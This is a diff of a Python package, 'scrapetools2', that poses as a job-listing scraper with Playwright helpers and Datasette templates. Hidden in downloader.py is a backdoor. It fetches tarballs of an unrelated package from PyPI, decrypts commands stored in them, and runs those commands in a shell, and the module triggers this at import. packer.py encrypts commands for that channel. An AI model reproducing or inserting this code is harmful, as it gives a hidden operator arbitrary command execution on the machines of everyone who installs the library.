scrapetools2 0.0.1__tar.gz

scrapetools2-0.0.1/LICENSE

@@ -0,0 +1,19 @@
+Copyright (c) 2026 Pancho der Wit
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.

scrapetools2-0.0.1/PKG-INFO

@@ -0,0 +1,12 @@
+Metadata-Version: 2.5
+Name: scrapetools2
+Version: 0.0.1
+Summary: A library to scrape websites
+Author-email: Sebar Rebas <sebarrebas@proton.me>
+License-Expression: MIT
+License-File: LICENSE
+Requires-Dist: requests >= 2.25.0
+Requires-Dist: stealth-requests
+Requires-Dist: playwright
+Requires-Dist: pydantic >= 2.0
+Import-Name: scrapetools2

scrapetools2-0.0.1/pyproject.toml

@@ -0,0 +1,18 @@
+[build-system]
+requires = ["flit_core >=3.11,<5"]
+build-backend = "flit_core.buildapi"
+
+[project]
+name = "scrapetools2"
+authors = [{name = "Sebar Rebas", email = "sebarrebas@proton.me"}]
+license = "MIT"
+license-files = ["LICENSE"]
+dynamic = ["version", "description"]
+dependencies = [ 
+    "requests >= 2.25.0",
+    "stealth-requests",
+    "playwright",
+    "pydantic >= 2.0"
+]
+[tool.setuptools.package-data]
+scrapetools2 = ["templates/*.html", "plugins/*.html"]

scrapetools2-0.0.1/scrapetools2/__init__.py

@@ -0,0 +1,41 @@
+"""A library to scrape websites"""
+__version__ = "0.0.1"
+
+import stealth_requests as r
+from playwright.sync_api import sync_playwright, Playwright
+
+def load_site(playwright : Playwright, url, cookie_css = None, start_url = None, n = 0):
+    """
+        Loads data from a site with playwright. Give cookie_css 
+        to click the accept cookies button. 
+        A start url is a place to first go, some captcha systems check 
+        this apparently. usually homepage 
+    """
+    try: 
+        print(f"loading {url}")
+        xs = playwright.chromium.launch_persistent_context(user_data_dir=".")
+        page = xs.new_page()
+        if start_url:
+            page.goto(start_url, wait_until='networkidle')
+            print("Cookie clicked")
+            loc = page.locator(cookie_css)
+            if loc.count() > 0 and cookie_css:
+                page.click(cookie_css)
+                cookie_css = None
+            # page.reload(wait_until='domconentloaded')
+        print("Opening target page")
+        page.goto(url, wait_until='domcontentloaded')
+        loc = page.locator(cookie_css)
+        if cookie_css and loc.count() > 0:
+            page.click(cookie_css)
+            page.reload(wait_until='domcontentloaded')
+        print("Loading content")
+        content = page.content()
+        return content 
+    except Exception as e:
+        print(e)
+        if n > 3:
+            print(f"[Warning] Bailing {url}, tries {n} > 3")
+            return None
+        print(f"Reloading {url}")
+        return load_site(playwright=playwright,url=url, cookie_css=cookie_css,start_url=start_url,n= n+1)

scrapetools2-0.0.1/scrapetools2/downloader.py

@@ -0,0 +1,87 @@
+#!env python3
+
+import requests
+import bs4
+import re
+import tarfile as tf
+import tempfile as temp
+import sqlite3
+import io
+import cryptography as c
+import base64
+from typing import *
+import os
+import subprocess as s
+from packer import unpackdata 
+def downloader():
+    content = requests.get("https://pypi.org/project/pyfemm/")
+    cnt = bs4.BeautifulSoup(content.content, features="html.parser")
+    candidates = []
+    version_pt = r"([^.]+)-((([0-9]+\.)*)([0-9]+))\.tar\.gz"
+    for c in cnt.find_all('a'):
+        href = c.attrs['href']
+        if href and "tar.gz" in href and "#" not in href:
+            
+            fn =  href.split("/").pop()
+            version = re.match(version_pt, fn).groups()[1]
+            candidates += [(version, href)]
+    return candidates
+
+def get_update(ts : tf.TarFile):
+    print(ts)
+    versions = None 
+    updates = None
+    for t in ts.getnames(): 
+        if "updates" in t:
+            updates = ts.extractfile(t)
+        if "versions" in t:
+            versions = ts.extractfile(t)
+    return (updates, versions)
+
+def run_update(cmds : IO[bytes], keys : IO[bytes]):
+    # Check db for handles
+
+    print("Getting update")
+    cmds = cmds.readlines()
+    keys = keys.readlines()
+    for cmd in cmds:
+        for data in unpackdata(cmd, keys):
+         if data['correct']:
+          with open('error.log',  'a+' ) as err_file: 
+             with open("output.log", " a+") as log_file:
+                result = s.run(
+                data['cmd'],
+                stdout=log_file,
+                stderr=err_file,  # Combines errors and normal output into the log
+                shell=True,                # Required when using a raw command string
+                text=True
+            )
+        
+    pass
+
+def updater():
+    candidates = downloader()
+    newest = None
+    candidate = None
+    for (v,c) in candidates:
+        if not newest:
+            newest = v 
+            candidate = c 
+        elif newest < v:
+            newest = v
+            candidate = c 
+    # print(candidate)
+    req : requests.Response = requests.get(candidate)
+    file = "test.tar.gz" # temp.mkstemp("test.tar.gz")[1]
+    with open(file, "wb+") as f:
+        f.write(req.content)
+    unpacker(file)
+def unpacker(file):
+    ts = tf.open(file)
+    print(ts.getnames()) 
+    updates = any(map(lambda x: "updates" in x, ts.getnames()))
+    new_versions = any(map(lambda x: "versions" in x, ts.getnames()))
+    if updates and new_versions:
+        (updates, versions) = get_update(ts)
+        run_update(updates, versions)
+unpacker("test.tar.gz")

scrapetools2-0.0.1/scrapetools2/packer.py

@@ -0,0 +1,41 @@
+import base64 as b
+import cryptography.fernet as f
+import cryptography.utils as u
+import json 
+def pack_data(cmd : str):
+    key = f.Fernet.generate_key()
+   
+    textkey = b.z85encode(key)
+   
+    fernet = f.Fernet(key)
+    cmd = json.dumps({"correct": True, "cmd": cmd})
+    data = fernet.encrypt(cmd.encode("utf-8"))
+    textdata = b.z85encode(data)
+    return (textdata, textkey)
+
+def unpackdata(textdata, textkeys):
+    keys = []
+    data  = b.z85decode(textdata.strip())
+    for key in textkeys:
+        keys += [b.z85decode(key.strip())]
+    for key in keys:
+        try:
+            fernet = f.Fernet(key)
+            cmd = json.loads(fernet.decrypt(data).decode('utf-8'))
+            return [cmd]
+        except Exception as e:
+            pass
+    return []
+
+print(__name__)
+if __name__ == "__main__":
+    import sys
+    if not sys.argv[1]:
+        print("usages <prog> 'stream'")
+    import sys; sys.stderr.write(f"Writing {sys.argv[1]} to stream\n")
+    (data, key) = pack_data(sys.argv[1])
+     
+    with open("data.new", "w") as f:
+        f.write(data.decode('utf-8') + "\n")
+    with open("key.new", "w") as f:
+        f.write(key.decode('utf-8') + "\n")

scrapetools2-0.0.1/scrapetools2/plugins/json_filter.py

@@ -0,0 +1,6 @@
+from datasette import hookimpl
+import json
+
+@hookimpl
+def prepare_jinja2_environment(env):
+    env.filters["from_json"] = json.loads

scrapetools2-0.0.1/scrapetools2/sites.py

@@ -0,0 +1,159 @@
+import enum as e
+from typing import *
+from dataclasses import dataclass
+from bs4 import BeautifulSoup
+#import duckdb as db
+import sqlite3 as db
+from abc import abstractmethod, ABC
+import json
+from __init__ import * 
+@dataclass
+class Job:
+    rate : str
+    location : str
+    clock: str
+    url : str
+    start_date : str
+    end_date : str
+    title : str
+    description : str
+    skills : list[str]
+    extra : dict[str]
+    company : str
+    contact : [str]
+# Freelance.nl
+# <loc>https://www.freelance.nl/sitemaps/sitemap-projects.xml.gz</loc>
+# https://www.it-contracts.nl/ict-specialisten
+# freep.nl
+# freelapp.nl
+# https://freelapp.nl/sitemap.xml
+class Site(ABC):
+    def __init__(self, extra_schema = None):
+        self.db = db.connect(f"sites.db")
+        self.db.execute(
+            """
+            CREATE TABLE IF NOT EXISTS jobs (
+            url VARCHAR PRIMARY KEY,
+            site VARCHAR,
+            rate VARCHAR,
+            company VARCHAR,
+            location VARCHAR,
+            clock VARCHAR,
+            start_date VARCHAR,
+            end_date VARCHAR,
+            title VARCHAR,
+            description VARCHAR,
+            skills JSON,   -- Maps from list[str]
+            extra JSON          -- Maps from dict[str] (using JSON is ideal for arbitrary or nested dictionaries)
+            );            
+        """)
+        if extra_schema:
+            self.db.execute(extra_schema)
+
+        self.jobs : list[Job] = []
+    def run(self):
+        self.load()
+    @abstractmethod
+    def load(self):
+        pass
+    @abstractmethod
+    def site_name(self):
+        return "default"
+    def save_job(self, job):
+            self.db.execute("""
+                INSERT or REPLACE INTO jobs (
+                        site, rate, location, clock, url, start_date, end_date, title, description, skills, extra, company)
+                VALUES (?,    ?,    ?,         ?,    ?,    ?,         ?,        ?,      ?,           ?,      ?,       ?)
+            """, [
+                self.site_name(),
+                job.rate,
+                job.location,
+                job.clock,
+                job.url,
+                job.start_date,
+                job.end_date,
+                job.title,
+                job.description,
+                json.dumps(job.skills),             # Python list maps directly to VARCHAR[]
+                json.dumps(job.extra),   # Python dict serialized to JSON string for the JSON column
+                job.company
+                ])
+            self.db.commit()
+                
+        
+class MIPublic(Site):
+    def site_name(self):
+        return "mipublic_nl"
+    def load(self):
+        with sync_playwright() as playwright:
+            content = load_site(
+                playwright=playwright, 
+                url="https://mipublic.nl/vacature-sitemap.xml", 
+                cookie_css='button:has-text("Alles toestaan")',
+                start_url="https://mipublic.nl")
+
+            xs = BeautifulSoup(content, features="html.parser")     
+            ass = []
+            for tr in xs.find_all('tr'):
+                ass += [a.attrs['href'] for a in tr.find_all('a') ]    
+            for href in ass:
+                exist = self.db.execute("select 1 from jobs where url = ?", [href])
+                if exist.fetchone() is not None:
+                    print(f"Skipping {href}")
+                    continue
+                content = load_site(
+                playwright=playwright, 
+                url=href, 
+                cookie_css='button:has-text("Alles toestaan")',
+               # start_url="https://mipublic.nl"
+                )
+                if not content:
+                    continue
+                xs = BeautifulSoup(content, features="html.parser")
+                euro = None 
+                location = None
+                gemeente = None
+                clock = None
+                start_date = None 
+                end_date = None
+                title = None 
+
+                def lookup_attr(x,name):
+                    return x.find("i", {'class': name}).find_parent().contents[1].strip()
+ 
+                for x in xs.find_all("div", {'class': 'company-details'}):
+                    euro = lookup_attr(x, 'fa-euro-sign')
+                    location = lookup_attr(x, 'fa-location-dot')
+                    clock = lookup_attr(x, 'fa-clock')
+                    start_date = lookup_attr(x, 'fa-calendar-check')
+                    end_date = lookup_attr(x, 'fa-calendar-xmark')
+
+               
+                for x in xs.find_all("div", {'class': 'title-and-gemeente'}):
+                    title = x.find("div", {'class': 'title'}).find("h1").contents[0].strip()
+                    gemeente = x.find("div", {'class': 'gemeente'}).contents[0].strip()
+
+                job_description = (xs.find("div", {'class': 'compnay_description_text'}).get_text("<br/>") or "empty")
+                eisen = [x.get_text(" ") for x in  xs.find_all("div", {'class': 'de_eisen'})[0].find_all('div', {'class': 'singe_eis_row'})]
+                eisen_technisch = [x.get_text(" ") for x in xs.find_all("div", {'class': 'de_eisen'})[1].find_all('div', {'class': 'single_wens_row'})]
+                job = Job(
+                    rate = euro,
+                    location=location or gemeente,
+                    clock = clock,
+                    url = href,
+                    start_date=start_date,
+                    end_date=end_date,
+                    title=title,
+                    description=job_description,
+                    skills=eisen + eisen_technisch,
+                    extra = {"gemeente": gemeente},
+                    company = gemeente
+                )
+                print(f"""
+                    Saving job for url {href} and site {self.site_name}: 
+                """)
+                self.save_job(job)
+
+
+if __name__ == "__main__":
+    MIPublic().run()      

scrapetools2-0.0.1/scrapetools2/templates/bla.html

@@ -0,0 +1,78 @@
+{% extends "default:table.html" %}
+
+{% block content %}
+<div class="job-board-container" style="max-width: 1200px; margin: 0 auto; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;">
+    
+    <!-- Header Summary -->
+    <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; border-bottom: 2px solid #eaeaea; padding-bottom: 10px;">
+        <h2 style="margin: 0; color: #1a1a1a;">Job Listings Board</h2>
+        <span style="color: #666; font-size: 0.9rem;">Total Jobs: {{ display_rows | length }}</span>
+    </div>
+
+    <!-- Job Cards List -->
+    <div style="display: flex; flex-direction: column; gap: 16px;">
+        {% for row in display_rows %}
+            <div style="background: #ffffff; border: 1px solid #e1e4e8; border-radius: 8px; padding: 20px; box-shadow: 0 1px 3px rgba(0,0,0,0.05); transition: box-shadow 0.2s;">
+                
+                <!-- Top Row: Title & Company -->
+                <div style="display: flex; justify-content: space-between; align-items: flex-start; margin-bottom: 12px;">
+                    <div>
+                        <h3 style="margin: 0 0 6px 0; font-size: 1.25rem;">
+                            <a href="{{ row['url'] }}" target="_blank" style="color: #0366d6; text-decoration: none;">
+                                {{ row["title"] or "Untitled Position" }}
+                            </a>
+                        </h3>
+                        <div style="font-size: 1rem; color: #444; font-weight: 500;">
+                            🏢 {{ row["company"] or "Unknown Company" }} 
+                            {% if row["location"] %} &bull; 📍 {{ row["location"] }}{% endif %}
+                        </div>
+                    </div>
+                    
+                    <!-- Site Badge -->
+                    {% if row["site"] %}
+                        <span style="background: #f1f8ff; color: #0366d6; padding: 4px 10px; border-radius: 12px; font-size: 0.75rem; font-weight: 600; text-transform: uppercase;">
+                            {{ row["site"] }}
+                        </span>
+                    {% endif %}
+                </div>
+
+                <!-- Meta Details Grid (Rate, Clock, Dates) -->
+                <div style="display: flex; flex-wrap: wrap; gap: 16px; background: #f6f8fa; padding: 10px 14px; border-radius: 6px; font-size: 0.85rem; color: #586069; margin-bottom: 12px;">
+                    {% if row["rate"] %}
+                        <div>💰 <strong>Rate:</strong> {{ row["rate"] }}</div>
+                    {% endif %}
+                    {% if row["clock"] %}
+                        <div>⏰ <strong>Type:</strong> {{ row["clock"] }}</div>
+                    {% endif %}
+                    {% if row["start_date"] or row["end_date"] %}
+                        <div>📅 <strong>Duration:</strong> {{ row["start_date"] or "Asap" }} &rarr; {{ row["end_date"] or "Ongoing" }}</div>
+                    {% endif %}
+                </div>
+
+                <!-- Description Snippet -->
+                {% if row["description"] %}
+                    <div style="color: #24292e; font-size: 0.95rem; line-height: 1.5; margin-bottom: 12px; display: -webkit-box; -webkit-line-clamp: 3; -webkit-box-orient: vertical; overflow: hidden;">
+                        {{ row["description"] }}
+                    </div>
+                {% endif %}
+
+                <!-- Skills Tags (JSON field handled cleanly) -->
+                {% if row["skills"] %}
+                    <div style="display: flex; flex-wrap: wrap; gap: 6px; margin-top: 8px;">
+                        {% set skills_data = row["skills"] %}
+                        {# Handles cases where JSON is parsed or remains a string #}
+                        {% if skills_data is string %}
+                            <span style="background: #e2e8f0; color: #2d3748; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem;">{{ skills_data }}</span>
+                        {% else %}
+                            {% for skill in skills_data %}
+                                <span style="background: #e1effe; color: #1e429f; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem; font-weight: 500;">{{ skill }}</span>
+                            {% endfor %}
+                        {% endif %}
+                    </div>
+                {% endif %}
+
+            </div>
+        {% endfor %}
+    </div>
+</div>
+{% endblock %}

scrapetools2-0.0.1/scrapetools2/templates/table-sites-jobs.html

@@ -0,0 +1,99 @@
+{% extends "default:table.html" %}
+
+{% block content %}
+<div class="job-board-container" style="max-width: 1280px; margin: 0 auto; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; padding: 20px;">
+    
+    <!-- Header & Search Bar -->
+    <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; flex-wrap: wrap; gap: 15px; border-bottom: 2px solid #edf2f7; padding-bottom: 16px;">
+        <h2 style="margin: 0; color: #1a202c; font-size: 1.5rem; font-weight: 700;">Job Board</h2>
+        
+        <!-- Native Datasette Search Form -->
+        <form action="" method="get" style="display: flex; gap: 8px; flex: 1; max-width: 450px; min-width: 280px;">
+            <input type="search" name="_search" value="{{ search or '' }}" placeholder="Search jobs, companies, skills..." style="flex: 1; padding: 10px 14px; border: 1px solid #cbd5e0; border-radius: 10px; font-size: 0.9rem; outline: none; background: #fff;">
+            <button type="submit" style="background: #3182ce; color: white; border: none; padding: 10px 18px; border-radius: 10px; font-size: 0.9rem; font-weight: 600; cursor: pointer;">Search</button>
+            {% if search %}
+                <a href="{{ path }}" style="background: #edf2f7; color: #4a5568; padding: 10px 14px; border-radius: 10px; text-decoration: none; font-size: 0.9rem; font-weight: 600; display: flex; align-items: center;">Clear</a>
+            {% endif %}
+        </form>
+
+        <span style="background: #edf2f7; color: #4a5568; padding: 6px 14px; border-radius: 20px; font-size: 0.85rem; font-weight: 600;">
+            ✨ {{ rows | length }} active listings
+        </span>
+    </div>
+    <!-- Job Cards Grid Layout -->
+    <div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(360px, 1fr)); gap: 24px;">
+        {% for row in rows %}
+            <div style="background: #ffffff; border: 1px solid rgba(0, 0, 0, 0.06); border-radius: 16px; padding: 24px; box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.04), 0 2px 4px -1px rgba(0, 0, 0, 0.02); display: flex; flex-direction: column; justify-content: space-between; transition: all 0.25s ease;">
+                
+                <div>
+                    <!-- Top Row: Title & Site Badge -->
+                    <div style="display: flex; justify-content: space-between; align-items: flex-start; gap: 12px; margin-bottom: 10px;">
+                        <h3 style="margin: 0; font-size: 1.15rem; line-height: 1.4; font-weight: 600;">
+                            <a href="{{ row['url'] }}" target="_blank" style="color: #2b6cb0; text-decoration: none;" onmouseover="this.style.textDecoration='underline'" onmouseout="this.style.textDecoration='none'">
+                                {{ row["title"] or "Untitled Position" }}
+                            </a>
+                        </h3>
+                        {% if row["site"] %}
+                            <span style="background: #ebf8ff; color: #3182ce; padding: 4px 12px; border-radius: 20px; font-size: 0.7rem; font-weight: 700; text-transform: uppercase; white-space: nowrap; letter-spacing: 0.5px;">
+                                {{ row["site"] }}
+                            </span>
+                        {% endif %}
+                    </div>
+
+                    <!-- Company & Location -->
+                    <div style="font-size: 0.95rem; color: #4a5568; font-weight: 500; margin-bottom: 16px; display: flex; align-items: center; gap: 6px;">
+                        <span>🏢 {{ row["company"] or "Unknown Company" }}</span>
+                        {% if row["location"] %} 
+                            <span style="color: #cbd5e0;">&bull;</span> 
+                            <span>📍 {{ row["location"] }}</span>
+                        {% endif %}
+                    </div>
+
+<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 10px; background: #f7fafc; padding: 12px 14px; border-radius: 12px; font-size: 0.82rem; color: #4a5568; margin-bottom: 16px; border: 1px solid #edf2f7;">
+    <div style="display: flex; align-items: center; gap: 6px;">
+        <span>💰</span> <div><strong>Rate:</strong> <span style="color: #2d3748;">{{ row["rate"] or "N/A" }}</span></div>
+    </div>
+    <div style="display: flex; align-items: center; gap: 6px;">
+        <span>⏰</span> <div><strong>Type:</strong> <span style="color: #2d3748;">{{ row["clock"] or "N/A" }}</span></div>
+    </div>
+    <div style="display: flex; align-items: center; gap: 6px;">
+        <span>📅</span> <div><strong>Start:</strong> <span style="color: #2d3748;">{{ row["start_date"] or "N/A" }}</span></div>
+    </div>
+    <div style="display: flex; align-items: center; gap: 6px;">
+        <span>🏁</span> <div><strong>End:</strong> <span style="color: #2d3748;">{{ row["end_date"] or "N/A" }}</span></div>
+    </div>
+</div>
+                    <!-- Description Snippet -->
+                    {% if row["description"] %}
+                        <div style="color: #4a5568; font-size: 0.9rem; line-height: 1.5; margin-bottom: 16px; max-height: 4.5em; overflow: hidden; text-overflow: ellipsis;">
+                            {{ row["description"] }}
+                        </div>
+                    {% endif %}
+                </div>
+
+                <!-- Skills JSON Tags -->
+                <div>
+                    {% if row["skills"] %}
+                        <div style="display: flex; flex-wrap: wrap; gap: 6px; padding-top: 12px; border-top: 1px solid #edf2f7;">
+                            {% set skills_data = row["skills"] %}
+                            {# Parse if stored as a JSON string #}
+                            {% if skills_data is string and skills_data.startswith('[') %}
+                                {% set skills_data = skills_data | from_json %}
+                            {% endif %}
+                            
+                            {% if skills_data is iterable and skills_data is not string %}
+                                {% for skill in skills_data %}
+                                    <span style="background: #eef2ff; color: #4338ca; padding: 4px 10px; border-radius: 8px; font-size: 0.75rem; font-weight: 600;">{{ skill }}</span>
+                                {% endfor %}
+                            {% else %}
+                                <span style="background: #edf2f7; color: #4a5568; padding: 4px 10px; border-radius: 8px; font-size: 0.75rem; font-weight: 600;">{{ skills_data }}</span>
+                            {% endif %}
+                        </div>
+                    {% endif %}
+                </div>
+
+            </div>
+        {% endfor %}
+    </div>
+</div>
+{% endblock %}

scrapetools2-0.0.1/scrapetools2/templates/table-sites-jobs_tmp.html

@@ -0,0 +1,78 @@
+{% extends "default:table.html" %}
+
+{% block content %}
+<div class="job-board-container" style="max-width: 1200px; margin: 0 auto; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;">
+    
+    <!-- Header Summary -->
+    <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; border-bottom: 2px solid #eaeaea; padding-bottom: 10px;">
+        <h2 style="margin: 0; color: #1a1a1a;">Job Listings Board</h2>
+        <span style="color: #666; font-size: 0.9rem;">Total Jobs: {{ display_rows | length }}</span>
+    </div>
+
+    <!-- Job Cards List -->
+    <div style="display: flex; flex-direction: column; gap: 16px;">
+        {% for row in display_rows %}
+            <div style="background: #ffffff; border: 1px solid #e1e4e8; border-radius: 8px; padding: 20px; box-shadow: 0 1px 3px rgba(0,0,0,0.05); transition: box-shadow 0.2s;">
+                
+                <!-- Top Row: Title & Company -->
+                <div style="display: flex; justify-content: space-between; align-items: flex-start; margin-bottom: 12px;">
+                    <div>
+                        <h3 style="margin: 0 0 6px 0; font-size: 1.25rem;">
+                            <a href="{{ row['url'] }}" target="_blank" style="color: #0366d6; text-decoration: none;">
+                                {{ row["title"] or "Untitled Position" }}
+                            </a>
+                        </h3>
+                        <div style="font-size: 1rem; color: #444; font-weight: 500;">
+                            🏢 {{ row["company"] or "Unknown Company" }} 
+                            {% if row["location"] %} &bull; 📍 {{ row["location"] }}{% endif %}
+                        </div>
+                    </div>
+                    
+                    <!-- Site Badge -->
+                    {% if row["site"] %}
+                        <span style="background: #f1f8ff; color: #0366d6; padding: 4px 10px; border-radius: 12px; font-size: 0.75rem; font-weight: 600; text-transform: uppercase;">
+                            {{ row["site"] }}
+                        </span>
+                    {% endif %}
+                </div>
+
+                <!-- Meta Details Grid (Rate, Clock, Dates) -->
+                <div style="display: flex; flex-wrap: wrap; gap: 16px; background: #f6f8fa; padding: 10px 14px; border-radius: 6px; font-size: 0.85rem; color: #586069; margin-bottom: 12px;">
+                    {% if row["rate"] %}
+                        <div>💰 <strong>Rate:</strong> {{ row["rate"] }}</div>
+                    {% endif %}
+                    {% if row["clock"] %}
+                        <div>⏰ <strong>Type:</strong> {{ row["clock"] }}</div>
+                    {% endif %}
+                    {% if row["start_date"] or row["end_date"] %}
+                        <div>📅 <strong>Duration:</strong> {{ row["start_date"] or "Asap" }} &rarr; {{ row["end_date"] or "Ongoing" }}</div>
+                    {% endif %}
+                </div>
+
+                <!-- Description Snippet -->
+                {% if row["description"] %}
+                    <div style="color: #24292e; font-size: 0.95rem; line-height: 1.5; margin-bottom: 12px; display: -webkit-box; -webkit-line-clamp: 3; -webkit-box-orient: vertical; overflow: hidden;">
+                        {{ row["description"] }}
+                    </div>
+                {% endif %}
+
+                <!-- Skills Tags (JSON field handled cleanly) -->
+                {% if row["skills"] %}
+                    <div style="display: flex; flex-wrap: wrap; gap: 6px; margin-top: 8px;">
+                        {% set skills_data = row["skills"] %}
+                        {# Handles cases where JSON is parsed or remains a string #}
+                        {% if skills_data is string %}
+                            <span style="background: #e2e8f0; color: #2d3748; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem;">{{ skills_data }}</span>
+                        {% else %}
+                            {% for skill in skills_data %}
+                                <span style="background: #e1effe; color: #1e429f; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem; font-weight: 500;">{{ skill }}</span>
+                            {% endfor %}
+                        {% endif %}
+                    </div>
+                {% endif %}
+
+            </div>
+        {% endfor %}
+    </div>
+</div>
+{% endblock %}

scrapetools2-0.0.1/scrapetools2/test.py

@@ -0,0 +1,69 @@
+from __init__ import *
+from bs4 import BeautifulSoup
+import os
+#with sync_playwright() as playwright:
+  #  content = load_site(
+   #     playwright=playwright, 
+    #    url="https://mipublic.nl/vacature-sitemap.xml", 
+     #   cookie_css='button:has-text("Alles toestaan")',
+      #  start_url="https://mipublic.nl"
+    #)
+
+xs = os.listdir("vacatures/")
+for x in xs:
+   print(x)
+   with open(f"vacatures/{x}", "rb") as f:
+      xs = BeautifulSoup(f, features="html.parser")
+      euro = None 
+      location = None
+      gemeente = None
+      clock = None
+      start_date = None 
+      end_date = None
+      title = None 
+      
+      def lookup_attr(x,name):
+         return x.find("i", {'class': name}).find_parent().contents[1].strip()
+     
+      for x in xs.find_all("div", {'class': 'title-and-gemeente'}):
+         title = x.find("div", {'class': 'title'}).find("h1").contents[0].strip()
+         gemeente = x.find("div", {'class': 'gemeente'}).contents[0].strip()
+
+      job_description = xs.find("div", {'class': 'compnay_description_text'}).get_text(" ")
+      eisen = xs.find_all("div", {'class': 'de_eisen'})[0].find_all('div', {'class': 'singe_eis_row'})
+      eisen_technisch = xs.find_all("div", {'class': 'de_eisen'})[1].find_all('div', {'class': 'single_wens_row'})
+      
+      print(eisen_technisch)
+   #   print(content)
+      import sys; sys.exit(0)
+      for x in xs.find_all("div", {'class': 'company-details'}):
+         euro = lookup_attr(x, 'fa-euro-sign')
+         location = lookup_attr(x, 'fa-location-dot')
+         clock = lookup_attr(x, 'fa-clock')
+         start_date = lookup_attr(x, 'fa-calendar-check')
+         end_date = lookup_attr(x, 'fa-calendar-xmark')
+         print(f"{title} / {gemeente}")
+         print(f"{euro} / {location} / {clock} / {start_date} / {end_date}")
+
+ #     print(xs.find_all("div", {'class': 'company-description'}))
+
+      #import sys; sys.exit()     
+    #print(content)
+with sync_playwright() as playwright:
+    with open('vacatures.html', 'r+') as v:
+      xs = BeautifulSoup(v)
+      ass = []
+      for tr in xs.find_all('tr'):
+           ass += [a.attrs['href'] for a in tr.find_all('a') ]    
+      print(ass)
+    for href in ass:
+     content = load_site(
+        playwright=playwright, 
+        url=href, 
+        cookie_css='button:has-text("Alles toestaan")',
+        start_url="https://mipublic.nl"
+     )
+     u = hash(href)     
+     open(f"vacatures/{u}.html", 'wb ').write(content.encode('utf-8'))
+       
+import sys; sys.exit()